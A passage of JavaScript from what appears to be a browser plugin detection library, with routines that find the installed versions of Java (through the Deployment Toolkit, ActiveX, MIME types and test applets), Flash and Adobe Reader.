  946.                 if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) {
  947.                     e = b.lang.System.getProperty();
  948.                     if (e[0]) {
  949.                         f = e[0];
  950.                         c = e[0];
  951.                         l = e[1]
  952.                     }
  953.                 }
  954.                 b.setPluginStatus(c, l, f);
  955.                 if (a.should_Insert_Query_Any()) {
  956.                     e = a.insert_Query_Any();
  957.                     if (e[0]) {
  958.                         c = e[0];
  959.                         l = e[1]
  960.                     }
  961.                 }
  962.                 b.setPluginStatus(c, l, f)
  963.             },
  964.             nonAppletDetectionOk: function (b) {
  965.                 var d = this,
  966.                     e = d.$,
  967.                     a = d.navigator,
  968.                     c = 1;
  969.                 if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) {
  970.                     c = 0
  971.                 } else {
  972.                     if (e.OS >= 20) {} else {
  973.                         if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2()) {
  974.                             c = 0
  975.                         }
  976.                     }
  977.                 }
  978.                 return c
  979.             },
  980.             setPluginStatus: function (d, f, a) {
  981.                 var c = this,
  982.                     e = c.$,
  983.                     b;
  984.                 a = a || c.version0;
  985.                 if (0 < c.OTF) {
  986.                     d = d || c.lang.System.getProperty()[0]
  987.                 }
  988.                 if (c.OTF < 3) {
  989.                     b = d ? 1 : (a ? -0.2 : -1);
  990.                     if (c.installed === null || b > c.installed) {
  991.                         c.installed = b
  992.                     }
  993.                 }
  994.                 if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) {
  995.                     c.installed = a ? -0.2 : -1
  996.                 };
  997.                 if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) {
  998.                     c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5
  999.                 }
  1000.                 if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) {
  1001.                     if (d) {
  1002.                         c.installed = 1
  1003.                     } else {
  1004.                         if (c.NOTF.isJavaActive(1) == 1) {
  1005.                             if (a) {
  1006.                                 c.installed = 1;
  1007.                                 d = a
  1008.                             } else {
  1009.                                 c.installed = 0
  1010.                             }
  1011.                         } else {
  1012.                             if (a) {
  1013.                                 c.installed = -0.2
  1014.                             } else {
  1015.                                 c.installed = -1
  1016.                             }
  1017.                         }
  1018.                     }
  1019.                 };
  1020.                 if (a) {
  1021.                     c.version0 = e.formatNum(e.getNum(a))
  1022.                 }
  1023.                 if (d) {
  1024.                     c.version = e.formatNum(e.getNum(d))
  1025.                 }
  1026.                 if (f && e.isString(f)) {
  1027.                     c.vendor = f
  1028.                 }
  1029.                 if (!c.vendor) {
  1030.                     c.vendor = ''
  1031.                 }
  1032.                 if (c.verify && c.verify.isEnabled()) {
  1033.                     c.getVersionDone = 0
  1034.                 } else {
  1035.                     if (c.getVersionDone != 1) {
  1036.                         if (c.OTF < 2) {
  1037.                             c.getVersionDone = 0
  1038.                         } else {
  1039.                             c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  1040.                         }
  1041.                     }
  1042.                 }
  1043.             },
  1044.             DTK: {
  1045.                 $: 1,
  1046.                 hasRun: 0,
  1047.                 status: null,
  1048.                 VERSIONS: [],
  1049.                 version: '',
  1050.                 HTML: null,
  1051.                 Plugin2Status: null,
  1052.                 classID: ['clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA', 'clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'],
  1053.                 mimeType: ['application/java-deployment-toolkit', 'application/npruntime-scriptable-plugin;DeploymentToolkit'],
  1054.                 disabled: function () {
  1055.                     return this.$$.isDisabled.DTK()
  1056.                 },
  1057.                 query: function () {
  1058.                     var k = this,
  1059.                         g = k.$,
  1060.                         d = k.$$,
  1061.                         j, l, h, m = {}, f = {}, a, c = null,
  1062.                         i = null,
  1063.                         b = (k.hasRun || k.disabled());
  1064.                     k.hasRun = 1;
  1065.                     if (b) {
  1066.                         return k
  1067.                     }
  1068.                     k.status = 0;
  1069.                     if (g.isIE && 6 <= g.verIE) {
  1070.                         for (l = 0; l < k.classID.length; l++) {
  1071.                             k.HTML = g.insertHTML('object', ['classid', k.classID[l]], []);
  1072.                             c = g.getDOMobj(k.HTML);
  1073.                             try {
  1074.                                 if (c && c.jvms) {
  1075.                                     break
  1076.                                 }
  1077.                             } catch (j) {}
  1078.                         }
  1079.                     } else {
  1080.                         if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) {
  1081.                             k.HTML = g.insertHTML('object', ['type', h.type], []);
  1082.                             c = g.getDOMobj(k.HTML)
  1083.                         }
  1084.                     } if (c) {
  1085.                         try {
  1086.                             a = c.jvms;
  1087.                             if (a) {
  1088.                                 i = a.getLength();
  1089.                                 if (g.isNum(i)) {
  1090.                                     k.status = 0 < i ? 1 : -1;
  1091.                                     for (l = 0; l < i; l++) {
  1092.                                         h = g.getNum(a.get(i - 1 - l).version);
  1093.                                         if (h) {
  1094.                                             k.VERSIONS.push(h);
  1095.                                             f['a' + g.formatNum(h)] = 1
  1096.                                         }
  1097.                                     }
  1098.                                 }
  1099.                             }
  1100.                         } catch (j) {}
  1101.                     }
  1102.                     h = 0;
  1103.                     for (l in f) {
  1104.                         h++
  1105.                     }
  1106.                     if (h && h !== k.VERSIONS.length) {
  1107.                         k.VERSIONS = []
  1108.                     }
  1109.                     if (k.VERSIONS.length) {
  1110.                         k.version = g.formatNum(k.VERSIONS[0])
  1111.                     };
  1112.                     return k
  1113.                 }
  1114.             },
  1115.             AXO: {
  1116.                 $: 1,
  1117.                 hasRun: 0,
  1118.                 VERSIONS: [],
  1119.                 version: '',
  1120.                 disabled: function () {
  1121.                     return this.$$.isDisabled.AXO()
  1122.                 },
  1123.                 JavaVersions: [
  1124.                     [1, 9, 1, 40],
  1125.                     [1, 8, 1, 40],
  1126.                     [1, 7, 1, 40],
  1127.                     [1, 6, 0, 40],
  1128.                     [1, 5, 0, 30],
  1129.                     [1, 4, 2, 30],
  1130.                     [1, 3, 1, 30]
  1131.                 ],
  1132.                 query: function () {
  1133.                     var a = this,
  1134.                         e = a.$,
  1135.                         b = a.$$,
  1136.                         c = (a.hasRun || a.disabled());
  1137.                     a.hasRun = 1;
  1138.                     if (c) {
  1139.                         return a
  1140.                     }
  1141.                     var i = [],
  1142.                         k = [1, 5, 0, 14],
  1143.                         j = [1, 6, 0, 2],
  1144.                         h = [1, 3, 1, 0],
  1145.                         g = [1, 4, 2, 0],
  1146.                         f = [1, 5, 0, 7],
  1147.                         d = b.getInfo ? true : false,
  1148.                         l = {};
  1149.                     if (b.minIEver <= e.verIE) {
  1150.                         i = a.search(j, j, d);
  1151.                         if (0 < i.length && d) {
  1152.                             i = a.search(k, k, d)
  1153.                         }
  1154.                     } else {
  1155.                         if (d) {
  1156.                             i = a.search(f, f, true)
  1157.                         }
  1158.                         if (i.length == 0) {
  1159.                             i = a.search(h, g, false)
  1160.                         }
  1161.                     } if (i.length) {
  1162.                         a.version = i[0];
  1163.                         a.VERSIONS = [].concat(i)
  1164.                     };
  1165.                     return a
  1166.                 },
  1167.                 search: function (a, j, p) {
  1168.                     var h, d, f = this,
  1169.                         e = f.$,
  1170.                         k = f.$$,
  1171.                         n, c, l, q, b, o, r, i = [];
  1172.                     if (0 < e.compareNums(a.join(','), j.join(','))) {
  1173.                         j = a
  1174.                     }
  1175.                     j = e.formatNum(j.join(','));
  1176.                     var m, s = '1,4,2,0',
  1177.                         g = 'JavaPlugin.' + a[0] + '' + a[1] + '' + a[2] + '' + (0 < a[3] ? ('_' + (a[3] < 10 ? '0' : '') + a[3]) : '');
  1178.                     for (h = 0; h < f.JavaVersions.length; h++) {
  1179.                         d = f.JavaVersions[h];
  1180.                         n = 'JavaPlugin.' + d[0] + '' + d[1];
  1181.                         b = d[0] + '.' + d[1] + '.';
  1182.                         for (l = d[2]; l >= 0; l--) {
  1183.                             r = 'JavaWebStart.isInstalled.' + b + l + '.0';
  1184.                             if (e.compareNums(d[0] + ',' + d[1] + ',' + l + ',0', j) >= 0 && !e.getAXO(r)) {
  1185.                                 continue
  1186.                             }
  1187.                             m = 0 > e.compareNums(d[0] + ',' + d[1] + ',' + l + ',0', s) ? true : false;
  1188.                             for (q = d[3]; q >= 0; q--) {
  1189.                                 c = l + '_' + (q < 10 ? '0' + q : q);
  1190.                                 o = n + c;
  1191.                                 if (e.getAXO(o) && (m || e.getAXO(r))) {
  1192.                                     i.push(b + c);
  1193.                                     if (!p) {
  1194.                                         return i
  1195.                                     }
  1196.                                 }
  1197.                                 if (o == g) {
  1198.                                     return i
  1199.                                 }
  1200.                             }
  1201.                             if (e.getAXO(n + l) && (m || e.getAXO(r))) {
  1202.                                 i.push(b + l);
  1203.                                 if (!p) {
  1204.                                     return i
  1205.                                 }
  1206.                             }
  1207.                             if (n + l == g) {
  1208.                                 return i
  1209.                             }
  1210.                         }
  1211.                     }
  1212.                     return i
  1213.                 }
  1214.             },
  1215.             navMime: {
  1216.                 $: 1,
  1217.                 hasRun: 0,
  1218.                 mimetype: '',
  1219.                 version: '',
  1220.                 length: 0,
  1221.                 mimeObj: 0,
  1222.                 pluginObj: 0,
  1223.                 disabled: function () {
  1224.                     return this.$$.isDisabled.navMime()
  1225.                 },
  1226.                 query: function () {
  1227.                     var i = this,
  1228.                         f = i.$,
  1229.                         a = i.$$,
  1230.                         b = (i.hasRun || i.disabled());
  1231.                     i.hasRun = 1;
  1232.                     if (b) {
  1233.                         return i
  1234.                     };
  1235.                     var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1236.                         g, l, j, d = '',
  1237.                         h = 'a',
  1238.                         o, m, k = {}, c = f.formatNum('0');
  1239.                     for (l = 0; l < navigator.mimeTypes.length; l++) {
  1240.                         o = navigator.mimeTypes[l];
  1241.                         m = o ? o.enabledPlugin : 0;
  1242.                         g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1243.                         if (g && m && (m.description || m.name)) {
  1244.                             if (!k[h + g]) {
  1245.                                 i.length++
  1246.                             }
  1247.                             k[h + g] = o.type;
  1248.                             if (0 < f.compareNums(g, c)) {
  1249.                                 c = g
  1250.                             }
  1251.                         }
  1252.                     }
  1253.                     g = k[h + c];
  1254.                     if (g) {
  1255.                         o = f.hasMimeType(g);
  1256.                         i.mimeObj = o;
  1257.                         i.pluginObj = o ? o.enabledPlugin : 0;
  1258.                         i.mimetype = g;
  1259.                         i.version = c
  1260.                     };
  1261.                     return i
  1262.                 }
  1263.             },
  1264.             navPlugin: {
  1265.                 $: 1,
  1266.                 hasRun: 0,
  1267.                 version: '',
  1268.                 disabled: function () {
  1269.                     return this.$$.isDisabled.navPlugin()
  1270.                 },
  1271.                 query: function () {
  1272.                     var m = this,
  1273.                         e = m.$,
  1274.                         c = m.$$,
  1275.                         h = c.navigator,
  1276.                         j, l, k, g, d, a, i, f = 0,
  1277.                         b = (m.hasRun || m.disabled());
  1278.                     m.hasRun = 1;
  1279.                     if (b) {
  1280.                         return m
  1281.                     };
  1282.                     a = h.pluginObj.name || '';
  1283.                     i = h.pluginObj.description || '';
  1284.                     if (!f || c.debug) {
  1285.                         g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1286.                         if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1287.                             f = '1,' + RegExp.$1 + ',' + (RegExp.$2 ? RegExp.$2 : '0') + ',' + (RegExp.$3 ? RegExp.$3 : '0')
  1288.                         }
  1289.                     }
  1290.                     if (!f || c.debug) {
  1291.                         g = /Java[^\d]*Plug-in/i;
  1292.                         l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1293.                         k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1294.                         if (l && (e.compareNums(l, e.formatNum('1,3')) < 0 || e.compareNums(l, e.formatNum('2')) >= 0)) {
  1295.                             l = 0
  1296.                         }
  1297.                         if (k && (e.compareNums(k, e.formatNum('1,3')) < 0 || e.compareNums(k, e.formatNum('2')) >= 0)) {
  1298.                             k = 0
  1299.                         }
  1300.                         d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1301.                         if (d) {
  1302.                             f = d
  1303.                         }
  1304.                     }
  1305.                     if (!f && e.isSafari && e.OS == 2) {
  1306.                         j = e.findNavPlugin('Java.*\\d.*Plug-in.*Cocoa', 0);
  1307.                         if (j) {
  1308.                             l = e.getNum(j.description);
  1309.                             if (l) {
  1310.                                 f = l
  1311.                             }
  1312.                         }
  1313.                     };
  1314.                     if (f) {
  1315.                         m.version = e.formatNum(f)
  1316.                     };
  1317.                     return m
  1318.                 }
  1319.             },
  1320.             lang: {
  1321.                 $: 1,
  1322.                 System: {
  1323.                     $: 1,
  1324.                     hasRun: 0,
  1325.                     result: [null, null],
  1326.                     disabled: function () {
  1327.                         return this.$$.isDisabled.windowDotJava()
  1328.                     },
  1329.                     getPropertyHas: function (a) {
  1330.                         var b = this,
  1331.                             d = b.$,
  1332.                             c = b.getProperty()[0];
  1333.                         return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1334.                     },
  1335.                     getProperty: function () {
  1336.                         var f = this,
  1337.                             g = f.$,
  1338.                             d = f.$$,
  1339.                             i, h = {}, b = f.hasRun || f.disabled();
  1340.                         f.hasRun = 1;
  1341.                         if (!b) {
  1342.                             var a = 'java_qqq990';
  1343.                             g[a] = null;
  1344.                             try {
  1345.                                 var c = document.createElement('script');
  1346.                                 c.type = 'text/javascript';
  1347.                                 c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty(\"java.version\")+\" \",window.java.lang.System.getProperty(\"java.vendor\")+\" \"]}catch(e){};' + g.name + '.' + a + '=a||0})();'));
  1348.                                 g.head.insertBefore(c, g.head.firstChild);
  1349.                                 g.head.removeChild(c)
  1350.                             } catch (i) {}
  1351.                             if (g[a] && g.isArray(g[a])) {
  1352.                                 f.result = [].concat(g[a])
  1353.                             }
  1354.                         }
  1355.                         return f.result
  1356.                     }
  1357.                 }
  1358.             },
  1359.             applet: {
  1360.                 $: 1,
  1361.                 results: [
  1362.                     [null, null],
  1363.                     [null, null],
  1364.                     [null, null]
  1365.                 ],
  1366.                 getResult: function () {
  1367.                     var c = this.results,
  1368.                         a, b = [];
  1369.                     for (a = 0; a < c.length; a++) {
  1370.                         b = c[a];
  1371.                         if (b[0]) {
  1372.                             break
  1373.                         }
  1374.                     }
  1375.                     return [].concat(b)
  1376.                 },
  1377.                 HTML: [0, 0, 0],
  1378.                 active: [0, 0, 0],
  1379.                 DummyObjTagHTML: 0,
  1380.                 DummySpanTagHTML: 0,
  1381.                 allowed: [1, 1, 1],
  1382.                 VerifyTagsHas: function (c) {
  1383.                     var d = this,
  1384.                         b;
  1385.                     for (b = 0; b < d.allowed.length; b++) {
  1386.                         if (d.allowed[b] === c) {
  1387.                             return 1
  1388.                         }
  1389.                     }
  1390.                     return 0
  1391.                 },
  1392.                 saveAsVerifyTagsArray: function (c) {
  1393.                     var b = this,
  1394.                         d = b.$,
  1395.                         a;
  1396.                     if (d.isArray(c)) {
  1397.                         for (a = 0; a < b.allowed.length; a++) {
  1398.                             if (d.isNum(c[a])) {
  1399.                                 if (0 > c[a]) {
  1400.                                     c[a] = 0
  1401.                                 }
  1402.                                 if (c[a] > 3) {
  1403.                                     c[a] = 3
  1404.                                 }
  1405.                                 b.allowed[a] = c[a]
  1406.                             }
  1407.                         }
  1408.                     }
  1409.                 },
  1410.                 setVerifyTagsArray: function (d) {
  1411.                     var b = this,
  1412.                         c = b.$,
  1413.                         a = b.$$;
  1414.                     if (a.getVersionDone === null) {
  1415.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1416.                     }
  1417.                     if (a.debug || (a.verify && a.verify.isEnabled())) {
  1418.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1419.                     } else {
  1420.                         if (d) {
  1421.                             b.saveAsVerifyTagsArray(d)
  1422.                         }
  1423.                     }
  1424.                 },
  1425.                 allDisabled: function () {
  1426.                     return this.$$.isDisabled.allApplets()
  1427.                 },
  1428.                 isDisabled: function (d) {
  1429.                     var b = this,
  1430.                         c = b.$,
  1431.                         a = b.$$;
  1432.                     if (d == 2 && !c.isIE) {
  1433.                         return 1
  1434.                     }
  1435.                     if (d === 0 || d == 2) {
  1436.                         return a.isDisabled.ObjectTag()
  1437.                     }
  1438.                     if (d == 1) {
  1439.                         return a.isDisabled.AppletTag()
  1440.                     }
  1441.                 },
  1442.                 can_Insert_Query: function (b) {
  1443.                     var a = this;
  1444.                     if (a.HTML[b]) {
  1445.                         return 0
  1446.                     }
  1447.                     return !a.isDisabled(b)
  1448.                 },
  1449.                 can_Insert_Query_Any: function () {
  1450.                     var b = this,
  1451.                         a;
  1452.                     for (a = 0; a < b.results.length; a++) {
  1453.                         if (b.can_Insert_Query(a)) {
  1454.                             return 1
  1455.                         }
  1456.                     }
  1457.                     return 0
  1458.                 },
  1459.                 should_Insert_Query: function (d) {
  1460.                     var b = this,
  1461.                         e = b.allowed,
  1462.                         c = b.$,
  1463.                         a = b.$$;
  1464.                     if (!b.can_Insert_Query(d)) {
  1465.                         return 0
  1466.                     }
  1467.                     if (e[d] == 3) {
  1468.                         return 1
  1469.                     }
  1470.                     if (e[d] == 2.8 && !b.getResult()[0]) {
  1471.                         return 1
  1472.                     }
  1473.                     if (e[d] == 2.5 && !a.lang.System.getProperty()[0]) {
  1474.                         return 1
  1475.                     }
  1476.                     if (e[d] == 2.2 && !a.lang.System.getProperty()[0] && !b.getResult()[0]) {
  1477.                         return 1
  1478.                     }
  1479.                     if (!a.nonAppletDetectionOk(a.version0)) {
  1480.                         if (e[d] == 2) {
  1481.                             return 1
  1482.                         }
  1483.                         if (e[d] == 1 && !b.getResult()[0]) {
  1484.                             return 1
  1485.                         }
  1486.                     }
  1487.                     return 0
  1488.                 },
  1489.                 should_Insert_Query_Any: function () {
  1490.                     var b = this,
  1491.                         a;
  1492.                     for (a = 0; a < b.allowed.length; a++) {
  1493.                         if (b.should_Insert_Query(a)) {
  1494.                             return 1
  1495.                         }
  1496.                     }
  1497.                     return 0
  1498.                 },
  1499.                 query: function (f) {
  1500.                     var h, a = this,
  1501.                         g = a.$,
  1502.                         d = a.$$,
  1503.                         i = null,
  1504.                         j = null,
  1505.                         b = a.results,
  1506.                         c;
  1507.                     if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)) {
  1508.                         return
  1509.                     }
  1510.                     c = g.getDOMobj(a.HTML[f], true);
  1511.                     if (c) {
  1512.                         try {
  1513.                             i = g.getNum(c.getVersion() + ' ');
  1514.                             j = c.getVendor() + ' ';
  1515.                             c.statusbar(g.winLoaded ? ' ' : ' ')
  1516.                         } catch (h) {}
  1517.                         if (i && g.isStrNum(i)) {
  1518.                             b[f] = [i, j]
  1519.                         } else {};
  1520.                         try {
  1521.                             if (g.isIE && i && c.readyState != 4) {
  1522.                                 g.garbage = true;
  1523.                                 c.parentNode.removeChild(c)
  1524.                             }
  1525.                         } catch (h) {}
  1526.                     }
  1527.                 },
  1528.                 insert_Query_Any: function () {
  1529.                     var d = this,
  1530.                         i = d.$,
  1531.                         e = d.$$,
  1532.                         l = d.results,
  1533.                         p = d.HTML,
  1534.                         a = '&nbsp;&nbsp;&nbsp;&nbsp;',
  1535.                         g = 'A.class',
  1536.                         m = i.file.getValid(e);
  1537.                     if (!m) {
  1538.                         return d.getResult()
  1539.                     }
  1540.                     if (e.OTF < 1) {
  1541.                         e.OTF = 1
  1542.                     }
  1543.                     if (d.allDisabled()) {
  1544.                         return d.getResult()
  1545.                     }
  1546.                     if (e.OTF < 1.5) {
  1547.                         e.OTF = 1.5
  1548.                     }
  1549.                     var j = m.name + m.ext,
  1550.                         h = m.path;
  1551.                     var f = ['archive', j, 'code', g],
  1552.                         c = ['mayscript', 'true'],
  1553.                         o = ['scriptable', 'true'].concat(c),
  1554.                         n = e.navigator,
  1555.                         b = !i.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : e.mimeType[0];
  1556.                     if (d.should_Insert_Query(0)) {
  1557.                         if (e.OTF < 2) {
  1558.                             e.OTF = 2
  1559.                         };
  1560.                         p[0] = i.isIE ? i.insertHTML('object', ['type', b], ['codebase', h].concat(f).concat(o), a, e) : i.insertHTML('object', ['type', b], ['codebase', h].concat(f).concat(o), a, e);
  1561.                         l[0] = [0, 0];
  1562.                         d.query(0)
  1563.                     }
  1564.                     if (d.should_Insert_Query(1)) {
  1565.                         if (e.OTF < 2) {
  1566.                             e.OTF = 2
  1567.                         };
  1568.                         p[1] = i.isIE ? i.insertHTML('applet', ['alt', a].concat(c).concat(f), ['codebase', h].concat(c), a, e) : i.insertHTML('applet', ['codebase', h, 'alt', a].concat(c).concat(f), [].concat(c), a, e);
  1569.                         l[1] = [0, 0];
  1570.                         d.query(1)
  1571.                     }
  1572.                     if (d.should_Insert_Query(2)) {
  1573.                         if (e.OTF < 2) {
  1574.                             e.OTF = 2
  1575.                         };
  1576.                         p[2] = i.isIE ? i.insertHTML('object', ['classid', e.classID], ['codebase', h].concat(f).concat(o), a, e) : i.insertHTML();
  1577.                         l[2] = [0, 0];
  1578.                         d.query(2)
  1579.                     }
  1580.                     if (!d.DummyObjTagHTML && !e.isDisabled.ObjectTag()) {
  1581.                         d.DummyObjTagHTML = i.insertHTML('object', [], [], a)
  1582.                     }
  1583.                     if (!d.DummySpanTagHTML) {
  1584.                         d.DummySpanTagHTML = i.insertHTML('', [], [], a)
  1585.                     };
  1586.                     var k = e.NOTF;
  1587.                     if (e.OTF < 3 && k.shouldContinueQuery()) {
  1588.                         e.OTF = 3;
  1589.                         k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1590.                         if (!i.winLoaded) {
  1591.                             i.WLfuncs0.push([k.winOnLoadQuery, k])
  1592.                         }
  1593.                         setTimeout(k.onIntervalQuery, k.intervalLength)
  1594.                     };
  1595.                     return d.getResult()
  1596.                 }
  1597.             },
  1598.             NOTF: {
  1599.                 $: 1,
  1600.                 count: 0,
  1601.                 countMax: 25,
  1602.                 intervalLength: 250,
  1603.                 shouldContinueQuery: function () {
  1604.                     var e = this,
  1605.                         d = e.$,
  1606.                         c = e.$$,
  1607.                         b = c.applet,
  1608.                         a;
  1609.                     for (a = 0; a < b.results.length; a++) {
  1610.                         if (b.HTML[a] && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) {
  1611.                             return 1
  1612.                         }
  1613.                     }
  1614.                     return 0
  1615.                 },
  1616.                 isJavaActive: function (d) {
  1617.                     var f = this,
  1618.                         c = f.$$,
  1619.                         a, b, e = -9;
  1620.                     for (a = 0; a < c.applet.HTML.length; a++) {
  1621.                         b = f.isAppletActive(a, d);
  1622.                         if (b > e) {
  1623.                             e = b
  1624.                         }
  1625.                     }
  1626.                     return e
  1627.                 },
  1628.                 isAppletActive: function (c, a) {
  1629.                     var d = this,
  1630.                         b = d.$$.applet.active;
  1631.                     if (!a) {
  1632.                         b[c] = d.isAppletActive_(c)
  1633.                     }
  1634.                     return b[c]
  1635.                 },
  1636.                 isAppletActive_: function (d) {
  1637.                     var g = this,
  1638.                         f = g.$,
  1639.                         b = g.$$,
  1640.                         l = b.navigator,
  1641.                         a = b.applet,
  1642.                         h = a.HTML[d],
  1643.                         i, k, c = 0,
  1644.                         j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count);
  1645.                     if (j == -2) {
  1646.                         return -2
  1647.                     }
  1648.                     try {
  1649.                         if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object) {
  1650.                             return 1
  1651.                         }
  1652.                     } catch (i) {}
  1653.                     for (k = 0; k < a.active.length; k++) {
  1654.                         if (0 < a.active[k]) {
  1655.                             c = 1
  1656.                         }
  1657.                     }
  1658.                     if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.tagName == 'object' || c)) || b.lang.System.getProperty()[0]))) {
  1659.                         return 1
  1660.                     }
  1661.                     if (0 > j) {
  1662.                         return -1
  1663.                     }
  1664.                     return 0
  1665.                 },
  1666.                 winOnLoadQuery: function (c, d) {
  1667.                     var b = d.$$,
  1668.                         a;
  1669.                     if (b.OTF == 3) {
  1670.                         a = d.queryAllApplets();
  1671.                         d.queryCompleted(a[1], a[2])
  1672.                     }
  1673.                 },
  1674.                 $$onIntervalQuery: function (d) {
  1675.                     var c = d.$,
  1676.                         b = d.$$,
  1677.                         a;
  1678.                     if (b.OTF == 3) {
  1679.                         a = d.queryAllApplets();
  1680.                         if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) {
  1681.                             d.queryCompleted(a[1], a[2])
  1682.                         }
  1683.                     }
  1684.                     d.count++;
  1685.                     if (b.OTF == 3) {
  1686.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  1687.                     }
  1688.                 },
  1689.                 queryAllApplets: function () {
  1690.                     var g = this,
  1691.                         f = g.$,
  1692.                         e = g.$$,
  1693.                         d = e.applet,
  1694.                         b, a, c;
  1695.                     for (b = 0; b < d.results.length; b++) {
  1696.                         d.query(b)
  1697.                     }
  1698.                     a = d.getResult();
  1699.                     c = a[0] ? true : false;
  1700.                     return [c, a[0], a[1]]
  1701.                 },
  1702.                 queryCompleted: function (c, f) {
  1703.                     var e = this,
  1704.                         d = e.$,
  1705.                         b = e.$$;
  1706.                     if (b.OTF >= 4) {
  1707.                         return
  1708.                     }
  1709.                     b.OTF = 4;
  1710.                     var a = e.isJavaActive();
  1711.                     b.setPluginStatus(c, f, 0);
  1712.                     if (b.funcs) {
  1713.                         d.callArray(b.funcs)
  1714.                     }
  1715.                     if (d.onDoneEmptyDiv) {
  1716.                         d.onDoneEmptyDiv()
  1717.                     }
  1718.                 }
  1719.             },
  1720.             zz: 0
  1721.         },
  1722.         flash: {
  1723.             mimeType: 'application/x-shockwave-flash',
  1724.             progID: 'ShockwaveFlash.ShockwaveFlash',
  1725.             classID: 'clsid:D27CDB6E-AE6D-11CF-96B8-444553540000',
  1726.             getVersion: function () {
  1727.                 var b = function (i) {
  1728.                     if (!i) {
  1729.                         return null
  1730.                     }
  1731.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1732.                     return e ? e[0].replace(/[rRdD\.]/g, ',').replace(/\s/g, '') : null
  1733.                 };
  1734.                 var j = this,
  1735.                     g = j.$,
  1736.                     k, h, l = null,
  1737.                     c = null,
  1738.                     a = null,
  1739.                     f, m, d;
  1740.                 if (!g.isIE) {
  1741.                     m = g.hasMimeType(j.mimeType);
  1742.                     if (m) {
  1743.                         f = g.getDOMobj(g.insertHTML('object', ['type', j.mimeType], [], '', j));
  1744.                         try {
  1745.                             l = g.getNum(f.GetVariable('$version'))
  1746.                         } catch (k) {}
  1747.                     }
  1748.                     if (!l) {
  1749.                         d = m ? m.enabledPlugin : null;
  1750.                         if (d && d.description) {
  1751.                             l = b(d.description)
  1752.                         }
  1753.                         if (l) {
  1754.                             l = g.getPluginFileVersion(d, l)
  1755.                         }
  1756.                     }
  1757.                 } else {
  1758.                     for (h = 15; h > 2; h--) {
  1759.                         c = g.getAXO(j.progID + '.' + h);
  1760.                         if (c) {
  1761.                             a = h.toString();
  1762.                             break
  1763.                         }
  1764.                     }
  1765.                     if (!c) {
  1766.                         c = g.getAXO(j.progID)
  1767.                     }
  1768.                     if (a == '6') {
  1769.                         try {
  1770.                             c.AllowScriptAccess = 'always'
  1771.                         } catch (k) {
  1772.                             return '6,0,21,0'
  1773.                         }
  1774.                     }
  1775.                     try {
  1776.                         l = b(c.GetVariable('$version'))
  1777.                     } catch (k) {}
  1778.                     if (!l && a) {
  1779.                         l = a
  1780.                     }
  1781.                 }
  1782.                 j.installed = l ? 1 : -1;
  1783.                 j.version = g.formatNum(l);
  1784.                 return true
  1785.             }
  1786.         },
  1787.         adobereader: {
  1788.             mimeType: 'application/pdf',
  1789.             navPluginObj: null,
  1790.             progID: ['AcroPDF.PDF', 'PDF.PdfCtrl'],
  1791.             classID: 'clsid:CA8A9780-280D-11CF-A24D-444553540000',
  1792.             INSTALLED: {},
  1793.             pluginHasMimeType: function (d, c, f) {
  1794.                 var b = this,
  1795.                     e = b.$,
  1796.                     a;
  1797.                 for (a in d) {
  1798.                     if (d[a] && d[a].type && d[a].type == c) {
  1799.                         return 1
  1800.                     }
  1801.                 }
  1802.                 if (e.getMimeEnabledPlugin(c, f)) {
  1803.                     return 1
  1804.                 }
  1805.                 return 0
  1806.             },
  1807.             getVersion: function (l, j) {
  1808.                 var g = this,
  1809.                     d = g.$,
  1810.                     i, f, m, n, b = null,
  1811.                     h = null,
  1812.                     k = g.mimeType,
  1813.                     a, c;
  1814.                 if (d.isString(j)) {
  1815.                     j = j.replace(/\s/g, '');
  1816.                     if (j) {
  1817.                         k = j
  1818.                     }
  1819.                 } else {
  1820.                     j = null
  1821.                 } if (d.isDefined(g.INSTALLED[k])) {
  1822.                     g.installed = g.INSTALLED[k];
  1823.                     return
  1824.                 }
  1825.                 if (!d.isIE) {
  1826.                     a = 'Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in';
  1827.                     if (g.getVersionDone !== 0) {
  1828.                         g.getVersionDone = 0;
  1829.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  1830.                         if (!j) {
